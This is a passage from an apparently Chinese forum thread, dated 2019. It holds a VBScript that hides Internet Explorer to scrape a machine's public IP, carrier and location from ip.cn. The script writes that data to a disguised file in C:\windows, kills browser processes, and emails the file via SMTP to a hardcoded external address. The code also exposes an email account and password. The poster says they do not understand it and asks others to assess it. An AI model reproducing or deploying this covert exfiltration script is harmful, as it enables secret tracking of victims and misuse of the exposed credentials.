If Send_Attachment <> "" Then
Email.AddAttachment Send_Attachment '邮件附件
End If
With Email.Configuration.Fields
.Item(MS_Space&"sendusing") = 2 '发信端口
.Item(MS_Space&"smtpserver") = "smtp."&You_ID(1) 'SMTP服务器地址
.Item(MS_Space&"smtpserverport") = 25 'SMTP服务器端口
.Item(MS_Space&"smtpauthenticate") = 1 'cdobasec
.Item(MS_Space&"sendusername") = You_ID(0) '你的邮件帐号
.Item(MS_Space&"sendpassword") = You_Password '你的邮件密码
.Update
End With
Email.Send
'发送邮件
Set Email=Nothing
'关闭组件
Send_Mail=True
'如果没有任何错误信息,则表示发送成功,否则发送失败
If Err Then
Err.Clear
Send_Mail=False
End If
End Function
'以下是利用上面的函数发送带附件的邮件例子
If Send_Mail("thisexplorer@qq.com","woaigd","6469494@qq.com","","邮件主题","邮件内容","d:\TeclastCoolFlash.ptf")=True Then
Wscript.Echo "发送成功"
Else
Wscript.Echo "发送失败"
End If
on error resume next
set ie=CreateObject("internetexplorer.application")
ie.navigate("http://ip.cn/")
ie.Visible=False
While ie.busy Or ie.readystate <> 4
WEnd
Set regEx = New RegExp
regEx.Pattern = "{联通|移动|电信}"
Set Matches = regEx.Execute(ie.document.body.innerhtml)
For Each Match in Matches
COSP=Match.Value
Next
Sub EchoMsg(str)
Wscript.Echo str
End Sub
on error resume next
set ie=CreateObject("internetexplorer.application")
ie.navigate("http://ip.cn/")
ie.Visible=False
While ie.busy Or ie.readystate <> 4
WEnd
Set regEx = New RegExp
regEx.Pattern = "来自.*"&COSP&""
Set Matches = regEx.Execute(ie.document.body.innerhtml)
ie.quit
For Each Match in Matches
FROM=Match.Value’定义标题定义为FORM
Next
Set ws = CreateObject("Wscript.Shell")
ws.run "%comspec% /c @echo "&FROM&" > C:\windows\systemct.org",vbhide
Sub EchoMsg(str)
Wscript.Echo str
End Sub
'----------------------------------------------------------------------------
on error resume next
set ie=CreateObject("internetexplorer.application")
ie.navigate("http://ip.cn/")
ie.Visible=False
While ie.busy Or ie.readystate <> 4
WEnd
Set regEx = New RegExp
regEx.Pattern ="\d.*\d"
Set Matches = regEx.Execute(ie.document.body.innerhtml)
ie.quit
For Each Match in Matches
RetStr=Match.Value ’获取公网IP定义变量为RetStr
Next
Set ws = CreateObject("Wscript.Shell")
ws.run "%comspec% /c @echo 公IP:"&RetStr&" >> C:\windows\systemct.org",vbhide
Sub EchoMsg(str)
Wscript.Echo str
End Sub
'杀死浏览器进程
On Error Resume Next
sub Close_Process(ProcessName)
On Error Resume Next
for each ps in getobject("winmgmts:\\.\root\cimv2:win32_process").instances_
if Ucase(ps.name)=Ucase(ProcessName) then
ps.terminate
end if
next
end sub
Close_Process("iexplore.exe")
Close_Process("iexplore.exe")
'--------------------------------------------------------------------------------
NameSpace = "http://schemas.microsoft.com/cdo/configuration/"
Set Email = CreateObject("CDO.Message")
'Email.From = "*@163.com"’发件地址
Email.From = "*@163.com"
Email.To = "738349140@qq.com"’收件地址
Email.Subject = ""&FROM&""
Email.Textbody = "公网IP:"&RetStr&""
Email.AddAttachment "C:\windows\systemct.org"
With Email.Configuration.Fields
.Item(NameSpace&"sendusing") = 2
.Item(NameSpace&"smtpserver") = "smtp.163.com" ’mail服务器地址提示,貌似只有163可以用
.Item(NameSpace&"smtpserverport") = 25
.Item(NameSpace&"smtpauthenticate") = 1
.Item(NameSpace&"sendusername") = "*"’登陆账号名
.Item(NameSpace&"sendpassword") = "*"’登陆密码
.Update
End With
Email.Send 作者: 不落的太阳 时间: 2019-6-4 11:59
看不懂,请大师鉴定作者: 不落的太阳 时间: 2019-6-4 12:03
还有一个做成WINDOWS下的服务的,可惜我自己也没弄成功作者: 不落的太阳 时间: 2019-6-4 12:05 https://www.cnblogs.com/lishuai0214/p/4282542.html